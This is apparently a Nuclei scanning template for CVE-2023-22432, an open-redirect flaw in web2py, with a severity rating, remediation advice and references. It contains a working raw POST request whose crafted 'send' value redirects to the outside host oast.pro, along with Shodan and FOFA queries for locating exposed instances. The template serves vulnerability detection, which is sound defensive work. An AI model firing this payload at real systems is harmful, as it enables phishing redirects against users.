Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
PoC代码[已公开]
id: CVE-2023-22432
info:
name: Web2py URL - Open Redirect
author: DhiyaneshDK
severity: medium
description: |
Open redirect vulnerability exists in web2py versions prior to 2.23.1. When using the tool, a web2py user may be redirected to an arbitrary website by accessing a specially crafted URL. As a result, the user may become a victim of a phishing attack.
remediation: |
Update to web2py 2.23.1 or higher.
reference:
- https://github.com/aeyesec/CVE-2023-22432
- https://nvd.nist.gov/vuln/detail/CVE-2023-22432
- https://jvn.jp/en/jp/JVN78253670/
- http://web2py.com/
- http://web2py.com/init/default/download
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-22432
cwe-id: CWE-601
epss-score: 0.38217
epss-percentile: 0.97135
cpe: cpe:2.3:a:web2py:web2py:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: web2py
product: web2py
shodan-query: http.favicon.hash:-1680052984
fofa-query: icon_hash=-1680052984
tags: cve,cve2023,web2py,redirect,authenticated
http:
- raw:
- |
POST /admin/default/index HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
password={{password}}&send=%5C%2F%5C%2Foast.pro&login=
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'a href="\/\/oast.pro"'
- type: word
part: location
words:
- '\/\/oast.pro'
- type: status
status:
- 303
# digest: 4b0a00483046022100e44d77fbed014f7ef31d3dc490500c6618cfd0501c37423022661e082cb7a1d6022100db4f9d006c839932cb388ac49f0badb55c5fd63a3ac1ef2525c780bf2a54e3b2:922c64590222798bb761d5b6d8e72950